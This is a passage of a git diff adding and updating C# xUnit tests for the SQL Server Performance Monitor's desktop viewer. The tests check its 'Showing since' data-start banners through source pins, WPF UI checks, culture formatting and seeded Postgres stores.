+/// window-floor probe the same way, and every one of these probes is awaited through the same catch, so a probe that
+/// throws costs its banner and nothing after it.
+/// </summary>
+/* The banner's time text reads the process-wide display mode, which the culture pin sets (restored in Dispose); one
+   shared collection serializes it with every other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerDataStartBannerTests : IDisposable
+{
+    private readonly TimeDisplayMode _savedMode = ViewerTimeHelper.CurrentDisplayMode;
+
+    public void Dispose() => ViewerTimeHelper.CurrentDisplayMode = _savedMode;
+
+    private static string ViewerFile(string file) => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
+
+    private static int Count(string source, string text) => Regex.Matches(source, Regex.Escape(text)).Count;
+
+    [Fact]
+    public void ActiveQueries_ShowsWhereTheSnapshotsStart_OnEveryReadOfTheGrid()
+    {
+        var tab = ViewerFile("ViewerServerTab.ActiveQueries.cs");
+
+        /* The range load, the deep-link load, the slicer re-read and the window drill (the heatmap, the charts and the
+           Overview drills) each draw the grid, so each sets the banner. The window drill is the fourth (3 -> 4, #4953): it
+           loads its own narrow window and used to leave the banner of the last range read standing. */
+        Assert.Equal(4, Count(tab, "_dataService.GetQuerySnapshotsDataStartAsync("));
+        Assert.Equal(4, Count(tab, "UpdateTruncationBanner(QuerySnapshotsTruncationBanner, "));
+        Assert.Contains("x:Name=\"QuerySnapshotsTruncationBanner\"", ViewerFile("ViewerServerTab.xaml"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void CurrentWaits_ShowsWhereTheWaitingTasksStart()
+    {
+        var tab = ViewerFile("ViewerServerTab.Blocking.cs");
+
+        Assert.Contains("_dataService.GetWaitingTasksDataStartAsync(", tab, StringComparison.Ordinal);
+        Assert.Contains("UpdateTruncationBanner(CurrentWaitsTruncationBanner, ", tab, StringComparison.Ordinal);
+        Assert.Contains("x:Name=\"CurrentWaitsTruncationBanner\"", ViewerFile("ViewerServerTab.xaml"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void BothReads_GoThroughTheSharedProbe()
+    {
+        var snapshots = ViewerFile("ViewerDataService.QuerySnapshots.cs");
+        Assert.Contains("DataWindowFloor.GetForServerAsync(", snapshots, StringComparison.Ordinal);
+        Assert.Contains("DataWindowFloor.Source.ForCollectorTable(\"query_snapshots\")", snapshots, StringComparison.Ordinal);
+
+        var waits = ViewerFile("ViewerDataService.BlockingTrends.cs");
+        Assert.Contains("DataWindowFloor.GetForServerAsync(", waits, StringComparison.Ordinal);
+        Assert.Contains("DataWindowFloor.Source.ForCollectorTable(\"waiting_tasks\")", waits, StringComparison.Ordinal);
+    }
+
+    private static int Matches(string source, string pattern) => Regex.Matches(source, pattern).Count;
+
+    /* Each read asks its probe about the window it draws and compares the answer with that window's start: the toolbar's
+       range on a load, the deep-link's own narrow window (pending.FromUtc, not the toolbar's start the method also
+       receives), the slicer's selection on a drag. */
+    [Fact]
+    public void ActiveQueries_RangeLoad_AsksAboutTheToolbarWindow_AndComparesWithItsStart()
+    {
+        var tab = ViewerFile("ViewerServerTab.ActiveQueries.cs");
+
+        Assert.Equal(1, Matches(tab, @"var dataStartTask = _dataService\.GetQuerySnapshotsDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(tab,
+            @"UpdateTruncationBanner\(QuerySnapshotsTruncationBanner,\s*await DataStartOrNullAsync\(dataStartTask,\s*""Active Queries""\),\s*startUtc\);\s*await LoadActiveQueriesSlicerAsync\(startUtc,\s*endUtc\);"));
+    }
+
+    [Fact]
+    public void ActiveQueries_DeepLink_AsksAboutThePendingWindow_AndComparesWithItsStart()
+    {
+        var tab = ViewerFile("ViewerServerTab.ActiveQueries.cs");
+
+        Assert.Equal(1, Matches(tab, @"var pendingDataStartTask = _dataService\.GetQuerySnapshotsDataStartAsync\(_server\.ServerId,\s*pending\.FromUtc,\s*pending\.ToUtc\);"));
+        Assert.Equal(1, Matches(tab,
+            @"UpdateTruncationBanner\(QuerySnapshotsTruncationBanner,\s*await DataStartOrNullAsync\(pendingDataStartTask,\s*""Active Queries""\),\s*pending\.FromUtc\);"));
+    }
+
+    [Fact]
+    public void ActiveQueries_SlicerDrag_AsksAboutTheSelection_AndComparesWithItsStart()
+    {
+        var tab = ViewerFile("ViewerServerTab.ActiveQueries.cs");
+
+        Assert.Equal(1, Matches(tab, @"var dataStartTask = _dataService\.GetQuerySnapshotsDataStartAsync\(_server\.ServerId,\s*e\.StartUtc,\s*e\.EndUtc\);"));
+        Assert.Equal(1, Matches(tab,
+            @"UpdateTruncationBanner\(QuerySnapshotsTruncationBanner,\s*await DataStartOrNullAsync\(dataStartTask,\s*""Active Queries""\),\s*e\.StartUtc\);"));
+    }
+
+    /* A window drill (the heatmap, a resource or trend chart, an Overview drill, or the deep link that reuses it) loads the
+       grid for its own narrow window, so it asks the probe about THAT window (fromUtc/toUtc, not the toolbar's range) and
+       compares the answer with its start, after the rows are bound and before the slicer loads, as the deep-link branch
+       of the range load does. Without it the banner of the last range read stays up: it can name a cut the drill window
+       does not have, or miss one it does. */
+    [Fact]
+    public void ActiveQueries_WindowDrill_AsksAboutTheDrillWindow_AndComparesWithItsStart()
+    {
+        var tab = ViewerFile("ViewerServerTab.ActiveQueries.cs");
+        var drill = Regex.Match(tab, @"private async Task NavigateToActiveQueriesForWindowAsync\(.*?\r?\n    \}\r?\n", RegexOptions.Singleline);
+        Assert.True(drill.Success, "NavigateToActiveQueriesForWindowAsync was not found in ViewerServerTab.ActiveQueries.cs");
+        var body = drill.Value;
+
+        Assert.Equal(1, Matches(body,
+            @"var dataStartTask = _dataService\.GetQuerySnapshotsDataStartAsync\(_server\.ServerId,\s*fromUtc,\s*toUtc\);\s*var dataReadTask = _dataService\.GetLatestQuerySnapshotsAsync\(_server\.ServerId,\s*fromUtc,\s*toUtc,"));
+        /* #5034: the read is awaited beside its probe, so a probe that fails after the read threw is watched. The rows come from the same read. */
+        Assert.Equal(1, Matches(body,
+            @"await AwaitReadWatchingProbeAsync\(dataReadTask,\s*dataStartTask,\s*""Active Queries""\);\s*var \(totalCount, snapshots\) = dataReadTask\.Result;"));
+        Assert.Equal(1, Matches(body,
+            @"_querySnapshotsFilterMgr!\.UpdateData\(snapshots\);[\s\S]*?UpdateTruncationBanner\(QuerySnapshotsTruncationBanner,\s*await DataStartOrNullAsync\(dataStartTask,\s*""Active Queries""\),\s*fromUtc\);\s*await LoadActiveQueriesSlicerAsync\(fromUtc\.AddHours\(-1\),\s*toUtc\.AddHours\(1\)\);"));
+    }
+
+    /* "Latest Snapshot" swaps the grid for the newest stored batch, so the "Showing since" banner the last range read
+       raised no longer describes it. The handler collapses the banner and clears its text as the batch is bound, and not
+       before, so a read that fails, which leaves the range rows in the grid, keeps the banner that still describes them.
+       It is a direct hide and not a fifth UpdateTruncationBanner call: that call asks a probe about a range, and this
+       read has none (the count pin above stays at four). The next range read raises the banner again through those
+       four calls. */
+    [Fact]
+    public void LatestSnapshot_HidesTheActiveQueriesBanner_AsTheBatchIsBound_AndNotWhenTheReadFails()
+    {
+        var tab = ViewerFile("ViewerServerTab.ActiveQueries.cs");
+        var handler = Regex.Match(tab, @"private async void LatestSnapshot_Click\(.*?\r?\n    \}\r?\n", RegexOptions.Singleline);
+        Assert.True(handler.Success, "LatestSnapshot_Click was not found in ViewerServerTab.ActiveQueries.cs");
+        var body = handler.Value;
+
+        var bound = body.IndexOf("_querySnapshotsFilterMgr!.UpdateData(rows);", StringComparison.Ordinal);
+        var failed = body.IndexOf("catch (Exception ex)", StringComparison.Ordinal);
+        Assert.True(bound >= 0, "LatestSnapshot_Click no longer binds the batch through _querySnapshotsFilterMgr.UpdateData(rows)");
+        Assert.True(failed > bound, "LatestSnapshot_Click no longer has its failure arm after the rows are bound");
+
+        var collapses = Regex.Matches(body, @"QuerySnapshotsTruncationBanner\.Visibility\s*=\s*Visibility\.Collapsed;");
+        var clears = Regex.Matches(body, @"QuerySnapshotsTruncationBanner\.Text\s*=\s*(?:""""|string\.Empty);");
+        Assert.True(collapses.Count == 1 && clears.Count == 1,
+            "LatestSnapshot_Click must collapse the Active Queries banner and clear its text, once each (found " + collapses.Count + " and "
+            + clears.Count + "): the newest batch replaces the range rows the banner described");
+        Assert.True(collapses[0].Index > bound && collapses[0].Index < failed && clears[0].Index > bound && clears[0].Index < failed,
+            "the banner must come down after the batch is bound and before the failure arm, so a failed read keeps it");
+    }
+
+    [Fact]
+    public void CurrentWaits_AsksAboutTheToolbarWindow_AndComparesWithItsStart()
+    {
+        var tab = ViewerFile("ViewerServerTab.Blocking.cs");
+
+        Assert.Equal(1, Matches(tab, @"var dataStartTask = _dataService\.GetWaitingTasksDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(tab,
+            @"UpdateTruncationBanner\(CurrentWaitsTruncationBanner,\s*await DataStartOrNullAsync\(dataStartTask,\s*""Current Waits""\),\s*startUtc\);"));
+    }
+
+    /* The Queries tab's three raw-table grids (Top Queries, Top Procedures, Query Store) start their window-floor probe
+       beside the grid read, ask it about the window the grid draws, and compare the answer with that window's start: the
+       toolbar's range on a load (startUtc), the slicer's selection on a drag (e.StartUtc). Both await the probe through the
+       same catch as the two surfaces above, so a probe that throws costs the grid its banner and not the slicer and the
+       comparison loads that follow it. The tail is what the call passes after the start: the hourly-tier suffix on Top
+       Queries and Top Procedures, the interval-table plan on a Query Store load, nothing on a Query Store slicer drag. */
+    private const string HourlyTail = @",\s*HourlyBannerSuffix\(read\.Tier, read\.IoRoute, read\.HourlyEdgesNote\),\s*HourlyServedOf\(read\.Tier, read\.HourlyFirstBucket\)";
+    private const string WidePlanTail = @",\s*widePlan: widePlan";
+
+    [Theory]
+    [InlineData("GetQueryStatsWindowFloorAsync", "QueryStats", "Query Stats", HourlyTail)]
+    [InlineData("GetProcedureStatsWindowFloorAsync", "ProcStats", "Procedure Stats", HourlyTail)]
+    [InlineData("GetQueryStoreWindowFloorAsync", "QueryStore", "Query Store", WidePlanTail)]
+    public void QueriesTab_RangeLoad_AsksAboutTheToolbarWindow_AndComparesWithItsStart(string probe, string grid, string surface, string tail)
+    {
+        var tab = ViewerFile("ViewerServerTab.Queries.cs");
+
+        Assert.Equal(1, Matches(tab, $@"var floorTask = Timed\(timer, ""data start"", _dataService\.{probe}\(_server\.ServerId,\s*startUtc,\s*endUtc\)\);"));
+        Assert.Equal(1, Matches(tab,
+            $@"UpdateTruncationBanner\({grid}TruncationBanner,\s*await DataStartOrNullAsync\(floorTask,\s*""{surface}""\),\s*startUtc{tail}\);\s*await Load{grid}SlicerAsync\(startUtc,\s*endUtc,\s*slicerTask\);\s*\}}\s*catch\s*\{{[^}}]*\}}\s*await Refresh{grid}ComparisonAsync\(startUtc,\s*endUtc,\s*timer\);"));
+    }
+
+    [Theory]
+    [InlineData("GetQueryStatsWindowFloorAsync", "QueryStats", "Query Stats", HourlyTail)]
+    [InlineData("GetProcedureStatsWindowFloorAsync", "ProcStats", "Procedure Stats", HourlyTail)]
+    [InlineData("GetQueryStoreWindowFloorAsync", "QueryStore", "Query Store", "")]
+    public void QueriesTab_SlicerDrag_AsksAboutTheSelection_AndComparesWithItsStart(string probe, string grid, string surface, string tail)
+    {
+        var tab = ViewerFile("ViewerServerTab.Queries.cs");
+
+        Assert.Equal(1, Matches(tab, $@"var floorTask = _dataService\.{probe}\(_server\.ServerId,\s*e\.StartUtc,\s*e\.EndUtc\);"));
+        Assert.Equal(1, Matches(tab,
+            $@"UpdateTruncationBanner\({grid}TruncationBanner,\s*await DataStartOrNullAsync\(floorTask,\s*""{surface}""\),\s*e\.StartUtc{tail}\);\s*await Refresh{grid}ComparisonAsync\(e\.StartUtc,\s*e\.EndUtc\);"));
+    }
+
+    /* No read awaits its probe bare (a probe that throws would unwind the load past the slicer, or the rest of the tab),
+       and the default log is the viewer's own. On the Queries tab every banner call goes through the catch, so a grid read
+       added later without it fails here instead of shipping bare. */
+    [Fact]
+    public void NoLoadAwaitsItsProbeBare_AndTheDefaultLogIsTheViewersOwn()
+    {
+        var queries = ViewerFile("ViewerServerTab.Queries.cs");
+
+        foreach (var source in new[] { ViewerFile("ViewerServerTab.ActiveQueries.cs"), ViewerFile("ViewerServerTab.Blocking.cs"), queries })
+        {
+            Assert.DoesNotContain("await dataStartTask", source, StringComparison.Ordinal);
+            Assert.DoesNotContain("await pendingDataStartTask", source, StringComparison.Ordinal);
+            Assert.DoesNotContain("await floorTask", source, StringComparison.Ordinal);
+        }
+
+        /* Six banner calls: a range load and a slicer drag on each of the three grids. The Plan Corrections grid's banner goes
+           through ShowEventDataStartAsync, because it passes the cap rule's inputs rather than the probe's answer alone;
+           ViewerPlanCorrectionsDataStartTests pins that call. The Query Store Regressions grid's goes through
+           ShowQueryStoreRegressionsDataStartAsync (#4966), because it compares the answer with the baseline window's start rather
+           than the range's; ViewerQueryStoreRegressionsDataStartTests pins that call and the step's own banner call. */
+        const string bannerCall = @"UpdateTruncationBanner\(\w+TruncationBanner,";
+        Assert.Equal(6, Matches(queries, bannerCall));
+        Assert.Equal(6, Matches(queries, bannerCall + @"\s*await DataStartOrNullAsync\(floorTask,"));
+
+        Assert.Contains("(warn ?? ViewerLogger.Warn)(", queries, StringComparison.Ordinal);
+    }
+
+    private static readonly DateTime RangeStart = new(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+
+    /* A probe that throws costs the surface its banner and nothing else: the helper answers null instead of throwing (the
+       load goes on to the slicer), the banner drawn from that answer is hidden (seeded visible, so a no-op cannot pass),
+       and the failure is logged with the surface and the cause. */
+    [Fact]
+    public void AProbeThatThrows_HidesTheBanner_IsLogged_AndLetsTheLoadGoOn()
+    {
+        StaTestThread.Run(() =>
+        {
+            var banner = new TextBlock { Visibility = Visibility.Visible, Text = "Showing since 2026-09-04 00:00:00" };
+            var logged = new List<(string Source, string Message)>();
+            var probe = Task.FromException<DateTime?>(new InvalidOperationException("the store went away"));
+
+            var floor = ViewerServerTab.DataStartOrNullAsync(probe, "Active Queries", (source, message) => logged.Add((source, message)))
+                .GetAwaiter().GetResult();
+            ViewerServerTab.UpdateTruncationBanner(banner, floor, RangeStart);
+
+            Assert.Null(floor);
+            Assert.Equal(Visibility.Collapsed, banner.Visibility);
+            var line = Assert.Single(logged);
+            Assert.Equal("ViewerServerTab", line.Source);
+            Assert.Contains("Active Queries", line.Message, StringComparison.Ordinal);
+            Assert.Contains("the store went away", line.Message, StringComparison.Ordinal);
+        });
+    }
+
+    [Fact]
+    public void AProbeThatAnswers_PassesTheAnswerOn_AndLogsNothing()
+    {
+        StaTestThread.Run(() =>
+        {
+            var banner = new TextBlock();
+            var logged = new List<(string Source, string Message)>();
+            var answer = RangeStart.AddDays(3);
+
+            var floor = ViewerServerTab.DataStartOrNullAsync(Task.FromResult<DateTime?>(answer), "Current Waits", (source, message) => logged.Add((source, message)))
+                .GetAwaiter().GetResult();
+            ViewerServerTab.UpdateTruncationBanner(banner, floor, RangeStart);
+
+            Assert.Equal(answer, floor);
+            Assert.Empty(logged);
+            Assert.Equal(Visibility.Visible, banner.Visibility);
+        });
+    }
+
+    /* The banner names its instants on the invariant culture whatever the machine's: under a Thai default (Buddhist
+       calendar, 2026 prints as 2569) or a Finnish one (a "." time separator) it still reads Gregorian "yyyy-MM-dd HH:mm:ss",
+       as Lite's banner and the web's notice do. Every branch of the shared banner is read. */
+    [Theory]
+    [InlineData("th-TH")]
+    [InlineData("fi-FI")]
+    public void TheBanner_NamesItsInstants_OnTheInvariantCulture(string cultureName)
+    {
+        var savedMode = ViewerTimeHelper.CurrentDisplayMode;
+        try
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            StaTestThread.Run(() =>
+            {
+                CultureInfo.CurrentCulture = CultureInfo.GetCultureInfo(cultureName);
+                /* The premise: this culture's own formatting does not give the invariant text, so the pin is not vacuous. */
+                Assert.NotEqual("2026-09-04 00:00:00", RangeStart.AddDays(3).ToString("yyyy-MM-dd HH:mm:ss"));
+
+                var banner = new TextBlock();
+
+                ViewerServerTab.UpdateTruncationBanner(banner, RangeStart.AddDays(3), RangeStart);
+                Assert.Equal("Showing since 2026-09-04 00:00:00", banner.Text);
+
+                /* The seconds are the instant's own, not a rounded minute. */
+                ViewerServerTab.UpdateTruncationBanner(banner, RangeStart.AddDays(3).AddSeconds(42), RangeStart);
+                Assert.Equal("Showing since 2026-09-04 00:00:42", banner.Text);
+
+                ViewerServerTab.UpdateTruncationBanner(banner, null, RangeStart, " (hourly)");
+                Assert.Equal("Showing 2026-09-01 00:00:00 (hourly)", banner.Text);
+
+                var wideStart = RangeStart.AddDays(1);
+                var plan = new QueryStoreIntervalWide.WideReadPlan(
+                    true, RangeStart.AddDays(4), wideStart, wideStart, QueryStoreIntervalWide.WideStartBound.FilledSince);
+                ViewerServerTab.UpdateTruncationBanner(banner, RangeStart.AddDays(4), RangeStart, widePlan: plan);
+                Assert.StartsWith("Showing since 2026-09-02 00:00:00", banner.Text, StringComparison.Ordinal);
+                Assert.Contains(" · slicer since 2026-09-05 00:00:00", banner.Text, StringComparison.Ordinal);
+            });
+        }
+        finally
+        {
+            ViewerTimeHelper.CurrentDisplayMode = savedMode;
+        }
+    }
+
+    /* WPF objects require STA; same shape as RawWindowFloorViewerPortTests. */
+}
diff --git a/Darling/Darling.Tests/ViewerDisabledListBoxThemeTests.cs b/Darling/Darling.Tests/ViewerDisabledListBoxThemeTests.cs
index 4a43a1eecd..c3fdf86448 100644
--- a/Darling/Darling.Tests/ViewerDisabledListBoxThemeTests.cs
+++ b/Darling/Darling.Tests/ViewerDisabledListBoxThemeTests.cs
@@ -49,7 +49,7 @@ public sealed class ViewerDisabledListBoxThemeTests
     [InlineData("CoolBreezeTheme.xaml")]
     public void DisabledListBox_RendersTheThemedBackgroundDimmed_NotStockWhite(string themeFile)
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var list = new ListBox { IsEnabled = false };
             list.SetResourceReference(Control.BackgroundProperty, "BackgroundDarkBrush");
@@ -65,7 +65,7 @@ public void DisabledListBox_RendersTheThemedBackgroundDimmed_NotStockWhite(strin
     [InlineData("CoolBreezeTheme.xaml")]
     public void DisabledServerList_AsShipped_RendersTheThemedBackgroundDimmed(string themeFile)
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var list = ParseServerList();
             list.IsEnabled = false;
@@ -80,7 +80,7 @@ public void DisabledServerList_AsShipped_RendersTheThemedBackgroundDimmed(string
     [InlineData("CoolBreezeTheme.xaml")]
     public void EnabledListBox_RendersIdenticallyToTheStockTemplate(string themeFile)
     {
-        OnStaThread(() =>
+        StaTestThread.Run(() =>
         {
             var themeStyle = Assert.IsType<Style>(LoadTheme(themeFile)[typeof(ListBox)]);
             var withThemeStyle = new ResourceDictionary { [typeof(ListBox)] = themeStyle };
@@ -190,22 +190,4 @@ private static ListBox ParseServerList()
         return (ListBox)XamlReader.Parse(element.ToString());
     }
 
-    /// <summary>WPF objects require STA; same shape as <c>RawWindowFloorViewerPortTests</c>.</summary>
-    private static void OnStaThread(Action body)
-    {
-        Exception? error = null;
-        var thread = new Thread(() =>
-        {
-            try { body(); }
-            catch (Exception ex) { error = ex; }
-        });
-        thread.SetApartmentState(ApartmentState.STA);
-        thread.Start();
-        thread.Join();
-
-        if (error is not null)
-        {
-            throw error;
-        }
-    }
 }
diff --git a/Darling/Darling.Tests/ViewerEventDataStartLiveTests.cs b/Darling/Darling.Tests/ViewerEventDataStartLiveTests.cs
new file mode 100644
index 0000000000..e82bb902fc
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerEventDataStartLiveTests.cs
@@ -0,0 +1,313 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer's blocked process reports and deadlocks grids against a real store (#4966). The grids window on
+/// the event's own time, and a server's first collection stores the server's event history, so the notice names the
+/// earlier of the collector's coverage start and the earliest event the grid shows. Four stores, each read through the
+/// same two calls the server tab makes (the grid's rows, the data-start probe) and then the tab's own banner step
+/// (<see cref="ViewerServerTab.ShowEventDataStartAsync"/>) on a real banner control, with the row cap the tab passes; each case
+/// reads what the banner says.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE
+   and DROP its own database through ScratchPostgres, then works entirely inside it. The banner's time text reads the process-wide
+   display mode, which QueryGridSeed.ReadBanner sets and restores; the viewer-time-statics collection serializes that with every
+   other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerEventDataStartLiveTests
+{
+    public enum Grid
+    {
+        BlockedProcessReports,
+        Deadlocks,
+    }
+
+    private const int NewServerId = -496601;
+    private const string NewServerName = "event-start-new";
+    private const int QuietServerId = -496602;
+    private const string QuietServerName = "event-start-quiet";
+    private const int HistoryServerId = -496603;
+    private const string HistoryServerName = "event-start-history";
+    private const int DeepHistoryServerId = -496604;
+    private const string DeepHistoryServerName = "event-start-deep-history";
+
+    /* Rows start inside the range: the server was added 2 days ago, and its first event came a day later. The notice reads
+       back the coverage start, the day the server was added. */
+    [Theory]
+    [InlineData(Grid.BlockedProcessReports)]
+    [InlineData(Grid.Deadlocks)]
+    public async Task RowsThatStartInsideTheRange_GiveANotice_AtTheCoverageStart_AgainstDevPostgres(Grid grid)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(grid, ct);
+
+        var banner = await store.BannerAsync(grid, NewServerId, ct);
+
+        Assert.Equal(QueryGridSeed.Since(store.End.AddDays(-2)), banner);
+    }
+
+    /* A quiet start: monitored for months, and the store covered the whole range, but the first event of the range came 5
+       hours in. No notice. */
+    [Theory]
+    [InlineData(Grid.BlockedProcessReports)]
+    [InlineData(Grid.Deadlocks)]
+    public async Task AQuietStart_GivesNoNotice_AgainstDevPostgres(Grid grid)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(grid, ct);
+
+        var coverage = await store.CoverageAsync(grid, QuietServerId, ct);
+        var banner = await store.BannerAsync(grid, QuietServerId, ct);
+
+        Assert.NotNull(coverage);
+        Assert.Null(banner);
+    }
+
+    /* History that reaches before the coverage start: the server was added 2 days ago, and its first collection stored
+       events from 5 days ago. The notice names the history's start, not the later day the server was added. */
+    [Theory]
+    [InlineData(Grid.BlockedProcessReports)]
+    [InlineData(Grid.Deadlocks)]
+    public async Task HistoryThatReachesBeforeTheCoverage_GivesANotice_AtTheHistorysStart_AgainstDevPostgres(Grid grid)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(grid, ct);
+
+        var coverage = await store.CoverageAsync(grid, HistoryServerId, ct);
+        var banner = await store.BannerAsync(grid, HistoryServerId, ct);
+
+        Assert.Equal(store.End.AddDays(-2), coverage);
+        Assert.Equal(QueryGridSeed.Since(store.End.AddDays(-5)), banner);
+    }
+
+    /* History that reaches the range start: the same recent server, its first collection stored events from 9 days ago,
+       so the grid's first row is the range's own start. No notice, though the coverage starts 5 days later. */
+    [Theory]
+    [InlineData(Grid.BlockedProcessReports)]
+    [InlineData(Grid.Deadlocks)]
+    public async Task HistoryThatReachesTheRangeStart_GivesNoNotice_AgainstDevPostgres(Grid grid)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(grid, ct);
+
+        var coverage = await store.CoverageAsync(grid, DeepHistoryServerId, ct);
+        var banner = await store.BannerAsync(grid, DeepHistoryServerId, ct);
+
+        Assert.Equal(store.End.AddDays(-2), coverage);
+        Assert.Null(banner);
+    }
+
+    private sealed class SeededStore : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+        private readonly ViewerDataService _viewer;
+
+        private SeededStore(ScratchPostgres scratch, ViewerDataService viewer, DateTime end)
+        {
+            _scratch = scratch;
+            _viewer = viewer;
+            End = end;
+        }
+
+        public DateTime End { get; }
+
+        /// <summary>The start of the 7-day range every test reads.</summary>
+        public DateTime Start => End.AddDays(-7);
+
+        /// <summary>Where the collector's coverage starts for the range: the probe's own answer.</summary>
+        public Task<DateTime?> CoverageAsync(Grid grid, int serverId, CancellationToken ct) => grid switch
+        {
+            Grid.BlockedProcessReports => _viewer.GetBlockedProcessReportsDataStartAsync(serverId, Start, End, ct),
+            _ => _viewer.GetDeadlocksDataStartAsync(serverId, Start, End, ct),
+        };
+
+        /// <summary>
+        /// The banner the server tab raises for the grid over the range: the probe's answer and the grid's rows, handed to the tab's own
+        /// step (<see cref="ViewerServerTab.ShowEventDataStartAsync"/>) on a real banner control with the cap and the capped-source
+        /// start the tab passes. Null when the banner is hidden.
+        /// </summary>
+        public async Task<string?> BannerAsync(Grid grid, int serverId, CancellationToken ct)
+        {
+            var coverage = await CoverageAsync(grid, serverId, ct);
+            if (grid == Grid.BlockedProcessReports)
+            {
+                var read = await _viewer.ReadRecentBlockedProcessReportsAsync(serverId, Start, End, cancellationToken: ct);
+                Assert.NotEmpty(read.Rows);
+                return QueryGridSeed.ReadBanner(banner => ViewerServerTab.ShowEventDataStartAsync(
+                    banner, Task.FromResult(coverage), "Blocked Process Reports", Start, read.Rows.Select(r => r.EventTime),
+                    ViewerDataService.BlockedProcessReportsRowCap, read.CappedSourceStartUtc));
+            }
+
+            var deadlocks = await _viewer.GetRecentDeadlocksAsync(serverId, Start, End, ct);
+            Assert.NotEmpty(deadlocks);
+            return QueryGridSeed.ReadBanner(banner => ViewerServerTab.ShowEventDataStartAsync(
+                banner, Task.FromResult(coverage), "Deadlocks", Start, deadlocks.Select(r => r.DeadlockTime), ViewerDataService.DeadlocksRowCap));
+        }
+
+        public static async Task<SeededStore> CreateAsync(Grid grid, CancellationToken ct)
+        {
+            var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+                "Set DARLING_TEST_PG to a Postgres connection string to run the live event data-start tests.");
+
+            var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            try
+            {
+                await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+                {
+                    await connection.OpenAsync(ct);
+                    await PgMigrations.MigrateAsync(connection, ct);
+
+                    var now = DateTime.UtcNow;
+                    var end = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+                    var collector = grid == Grid.BlockedProcessReports ? "blocked_process_report" : "deadlocks";
+
+                    /* Added 2 days ago; its first event came a day later, collected when it happened. */
+                    await AddServerAsync(connection, NewServerId, NewServerName, end.AddDays(-2), collector, end, ct);
+                    await InsertEventsAsync(connection, grid, NewServerId, NewServerName, end.AddDays(-1), end, collectedFirst: null, ct);
+
+                    /* Monitored for 120 days: the store ran the collector the whole range, and the range's first event
+                       came 5 hours in. */
+                    await AddServerAsync(connection, QuietServerId, QuietServerName, end.AddDays(-120), collector, end, ct);
+                    await InsertEventsAsync(connection, grid, QuietServerId, QuietServerName, end.AddDays(-7).AddHours(5), end, collectedFirst: null, ct);
+
+                    /* Added 2 days ago; its first collection stored the events of the 3 days before that, then the
+                       collector kept up. */
+                    await AddServerAsync(connection, HistoryServerId, HistoryServerName, end.AddDays(-2), collector, end, ct);
+                    await InsertEventsAsync(connection, grid, HistoryServerId, HistoryServerName, end.AddDays(-5), end.AddDays(-2), collectedFirst: end.AddDays(-2), ct);
+                    await InsertEventsAsync(connection, grid, HistoryServerId, HistoryServerName, end.AddDays(-2).AddHours(6), end, collectedFirst: null, ct);
+
+                    /* The same, with 7 days of history before it, so the first collection stored the range's own start. */
+                    await AddServerAsync(connection, DeepHistoryServerId, DeepHistoryServerName, end.AddDays(-2), collector, end, ct);
+                    await InsertEventsAsync(connection, grid, DeepHistoryServerId, DeepHistoryServerName, end.AddDays(-9), end.AddDays(-2), collectedFirst: end.AddDays(-2), ct);
+                    await InsertEventsAsync(connection, grid, DeepHistoryServerId, DeepHistoryServerName, end.AddDays(-2).AddHours(6), end, collectedFirst: null, ct);
+                }
+
+                var viewer = new ViewerDataService(scratch.ConnectionString);
+                var end2 = await EndAsync(scratch.ConnectionString, ct);
+                return new SeededStore(scratch, viewer, end2);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        /* The seed's own "end", recovered from the store (the registry row the quiet server's runs end on), so the reads and
+           the seed agree on it to the minute. */
+        private static async Task<DateTime> EndAsync(string connectionString, CancellationToken ct)
+        {
+            await using var connection = new NpgsqlConnection(connectionString);
+            await connection.OpenAsync(ct);
+            await using var select = new NpgsqlCommand("SELECT MAX(collection_time) FROM collect.collection_log WHERE server_id = $1", connection);
+            select.Parameters.AddWithValue(QuietServerId);
+            var value = await select.ExecuteScalarAsync(ct);
+            return DateTime.SpecifyKind((DateTime)value!, DateTimeKind.Utc);
+        }
+
+        /* The registry row (created_date: the server's first successful connect) and the collector's runs from then on,
+           every 30 minutes, whether or not anything happened. */
+        private static async Task AddServerAsync(
+            NpgsqlConnection connection, int serverId, string serverName, DateTime addedUtc, string collector, DateTime endUtc, CancellationToken ct)
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, serverId, serverName, ct);
+
+            await using (var update = new NpgsqlCommand("UPDATE collect.servers SET created_date = $2 WHERE server_id = $1", connection))
+            {
